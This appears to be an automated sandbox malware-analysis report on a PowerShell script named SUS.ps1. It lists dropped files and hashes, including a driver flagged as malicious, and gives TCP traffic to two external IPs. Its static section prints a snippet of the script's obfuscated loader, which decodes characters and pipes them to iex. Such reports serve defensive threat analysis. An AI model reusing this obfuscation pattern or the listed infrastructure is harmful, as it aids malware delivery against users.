SSDEEP:	384:85C1WfMfFnn2q2h1y+XJC7i2pypgrnC0B3QwVVjiz/EP/HuYhW:lscl7sy+XUVkirhgyNizC/HuQW
MD5:	BBD3EEC018BE8ED2EEA298DE2166E2B4
SHA1:	9AEB13C1279EA544C8F17AF3CA18F182B6C7DD86
SHA-256:	526EE83897B27985BE7AF1A4A53F774B9B5A68924699459C5BFFB2591035D495
SHA-512:	7F042C3F8D1A9CA54D8C07952583C3482D835F73C248D410F4AA70F5E68D6893B212F90F3BDDF61918DC3C1A9D5C1DDA852C6AB88818EAC314F0C180FD9280F6
Malicious:	false
Preview:	@...e.....................U.d.R.....-.X..............@..........H...............o..b~.D.poM..."..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.....s.......System.Management.Automation4...............<."..Ke@...j..........System.Core.0.................Vn.F..kLsw..........System..4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4..................~..2K..}...0".......System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementD....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1bxkid1j.kky.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1myddkdz.erm.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkvbw1iq.qzn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ebactow5.1no.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iwb0vqm2.1xc.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vxtryv1q.r0l.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\ALSysIO64.sys

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	47240
Entropy (8bit):	6.799895230634246
Encrypted:	false
SSDEEP:	768:Quvj6yi4Dp/CbCemFPssSKgoIrSShLJZ3WRck:tJiwkeFhSPxZick
MD5:	AFC2448B4080F695E76E059A96958CAB
SHA1:	256D285347ACD715ED8920E41E5EC928AE9201A8
SHA-256:	119C48B79735FDA0ECD973D77D9BDC6B329960CAED09B38AB454236CA039D280
SHA-512:	B03D374D8A155B9302938271D1C06999864B609E2E377823A0877B4F3C149A956D3DD8CED218BAB5164D551881B6A88F5B15A7264297BFF90C3B3881340307EA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............d...d...d...d...d....c..d......d....e..d....s..d....y..d....d..d....a..d..Rich.d..................PE..d...y.T\.........."......:..........d................................................A..........................................................<............p.......N...j...........Q...............................................P...............................text...%0.......2.................. ..h.rdata..T....P.......6..............@..H.data........`.......<..............@....pdata.......p.......>..............@..HPAGE....x............@.............. ..`INIT.................B.............. ....rsrc................H..............@..B.reloc...............L..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\25Q7NE9OTPJ2NAONS9Z1.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.725488681222412
Encrypted:	false
SSDEEP:	48:SOu8tPCDzCGU2yGWSukvhkvklCywkLMiv6vWEmsSogZoErMiv6vWEmsSogZotG1:q8MzC/hFkvhkvCCtyMiyAHpMiyAHI4
MD5:	2677C2587B722BBF0C1E97DA0ACE706E
SHA1:	0D5917594A2D7A39D1A75495AD3B8EBFF14784DA
SHA-256:	1088B74A5A8AB53FA439C46739291D4E0C88AF7050E130BE959E5413F9A2C7FB
SHA-512:	B779B46CF93AF32411C46A3C4125D414071878BF8BBC790B90F069737C7480B43F301F21F003B4E6DD051EED1ECC5C02673EC3A0C1FA45B24A4BC7263CCD4629
Malicious:	false
Preview:	...................................FL..................F.".. ......{4...:...x..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........{4.....Z..x......x......t...CFSF..1.....FW.H..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......FW.HEZV...............................A.p.p.D.a.t.a...B.V.1.....EZ]...Roaming.@......FW.HEZ]...........................@W..R.o.a.m.i.n.g.....\.1.....FW.K..MICROS~1..D......FW.HEZV...........................j0..M.i.c.r.o.s.o.f.t.....V.1.....GX(w..Windows.@......FW.HEZV...............................W.i.n.d.o.w.s.......1.....FW.H..STARTM~1..n......FW.HEZV.....................D.....R=..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....FW.J..Programs..j......FW.HEZV.....................@......!r.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......FW.HGX.w..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......FW.HEZb.....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.725488681222412
Encrypted:	false
SSDEEP:	48:SOu8tPCDzCGU2yGWSukvhkvklCywkLMiv6vWEmsSogZoErMiv6vWEmsSogZotG1:q8MzC/hFkvhkvCCtyMiyAHpMiyAHI4
MD5:	2677C2587B722BBF0C1E97DA0ACE706E
SHA1:	0D5917594A2D7A39D1A75495AD3B8EBFF14784DA
SHA-256:	1088B74A5A8AB53FA439C46739291D4E0C88AF7050E130BE959E5413F9A2C7FB
SHA-512:	B779B46CF93AF32411C46A3C4125D414071878BF8BBC790B90F069737C7480B43F301F21F003B4E6DD051EED1ECC5C02673EC3A0C1FA45B24A4BC7263CCD4629
Malicious:	false
Preview:	...................................FL..................F.".. ......{4...:...x..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........{4.....Z..x......x......t...CFSF..1.....FW.H..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......FW.HEZV...............................A.p.p.D.a.t.a...B.V.1.....EZ]...Roaming.@......FW.HEZ]...........................@W..R.o.a.m.i.n.g.....\.1.....FW.K..MICROS~1..D......FW.HEZV...........................j0..M.i.c.r.o.s.o.f.t.....V.1.....GX(w..Windows.@......FW.HEZV...............................W.i.n.d.o.w.s.......1.....FW.H..STARTM~1..n......FW.HEZV.....................D.....R=..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....FW.J..Programs..j......FW.HEZV.....................@......!r.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......FW.HGX.w..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......FW.HEZb.....Q...........

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	4926
Entropy (8bit):	3.24531026312522
Encrypted:	false
SSDEEP:	48:FaqdF78F7B+AAHdKoqKFxcxkFiF7KaqdF7Nl0+AAHdKoqKFxcxkFvlK:cEOB+AAsoJjykePENy+AAsoJjykds
MD5:	F1583CFF84D250E618A51A9BBA6E2E3E
SHA1:	7D87673ACDB02AA77D2F8CFAC78B23AE59B04017
SHA-256:	1639E18AC45391740552407EF92828345966AA5AF660B40AD35A0CF9391B7BE2
SHA-512:	3504618758518991DBF6F82142045AB98CA13838D4BE2553B319194917CDCF45DF78114E0289905FF902A71F10ED1B7CB0C4BBE2AA02FDEBB170B617722CB613
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. F.r.i. .. O.c.t. .. 0.6. .. 2.0.2.3. .1.1.:.3.5.:.2.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

Static File Info

General

File type:	ASCII text, with very long lines (12935), with no line terminators
Entropy (8bit):	5.933781788257471
TrID:
File name:	SUS.ps1
File size:	12'935 bytes
MD5:	f85f710cb9208db9a5795c6aa73b7819
SHA1:	f35a5f68a3f3aae842d491fa2d11671ae588f854
SHA256:	e3a3fd70840d9c8a402880ee7d0d9c3e7435c1329d074c45a31f97a35dd83d46
SHA512:	4b7232ab1316305457e9cccfde890e90d71cf5d29adae9d3426ad5589e241ba8eebec1eef60ee7800920b33d5bf2ee86d52ed84e6b978a8ba2ffa4bca0816176
SSDEEP:	384:Fv4Jdzlcsfbf68775t8NUPq7l4si9jK7vAOh+g0BK9cpF5sDD3ubK:CJdzlcsfbfF75tmUPq7l4sijKjAOh+BE
TLSH:	0742D660D29BE2FDFBC98B80648B444760E86691324D20E0D6F7CE937E3F06956F516E
File Content Preview:	function KzTjqUJrAiAqhDv{$lSGcHnGjdPczDjsdfs = New-Object System.Reflection.AssemblyName($($("""$($((265,283,288,229,228)\|%{[char]($_-178)})-join'')""")\|iex));$TlluBNBMoToYLVJExiBOeUClzbQIIy = [AppDomain]::CurrentDomain.DefineDynamicAssembly($lSGcHnGjdPcz

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 344
• 15322 undefined
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 5, 2025 23:11:08.139414072 CET	49703	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:08.139467001 CET	443	49703	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:08.139580965 CET	49703	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:08.163497925 CET	49703	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:08.163516045 CET	443	49703	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:08.843933105 CET	443	49703	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:08.844017982 CET	49703	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:08.847909927 CET	49703	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:08.847927094 CET	443	49703	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:08.848234892 CET	443	49703	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:08.866049051 CET	49703	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:08.911331892 CET	443	49703	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:08.968089104 CET	443	49703	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:08.968164921 CET	443	49703	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:08.968223095 CET	49703	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:08.972995043 CET	49703	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:09.050694942 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:09.055557966 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:09.055644989 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:09.056044102 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:09.060820103 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:09.718240976 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:09.718260050 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:09.718394995 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:09.737781048 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:09.742620945 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:09.937177896 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:09.939868927 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:09.944708109 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.140275955 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.140300989 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.140341997 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.140357018 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.140367985 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.140378952 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.140391111 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.140423059 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.140477896 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.140501976 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.140515089 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.140526056 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.140538931 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.140623093 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.141093969 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.141108036 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.141227007 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.269879103 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.269905090 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.269917011 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.269928932 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.269942045 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.269953966 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.270006895 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.270217896 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.270229101 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.270240068 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.270245075 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.270293951 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.270306110 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.270317078 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.270320892 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.270489931 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.271173000 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.271183968 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.271199942 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.271214008 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.271223068 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.271235943 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.271239996 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.271290064 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.271290064 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.272141933 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.272154093 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.272165060 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.272200108 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.272212029 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.272228003 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.272233009 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.272332907 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.352809906 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.352828979 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.352840900 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.352853060 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.352869034 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.352907896 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.352925062 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.352938890 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.352952957 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.352971077 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.353003979 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.353003979 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.353177071 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.353189945 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.353204966 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.353287935 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.353447914 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.353475094 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.353487015 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.353499889 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.353513002 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.353527069 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.353557110 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.353951931 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.353962898 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.354120016 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.354155064 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.354167938 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.354183912 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.354341030 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.354361057 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.354367971 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.354374886 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.354399920 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.354410887 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.354423046 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.354434013 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.354439020 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.354706049 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.354963064 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.354974031 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.354985952 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.355022907 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.355035067 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.355047941 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.355051994 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.355051994 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.355133057 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.355146885 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.355158091 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.355161905 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.355227947 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.355227947 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.355942965 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.355956078 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.355969906 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.355982065 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.355998039 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.356044054 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.446017027 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446042061 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446052074 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446069956 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446084976 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446094990 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446106911 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446116924 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446115971 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.446193933 CET	49704	15322	192.168.2.16	45.93.9.167
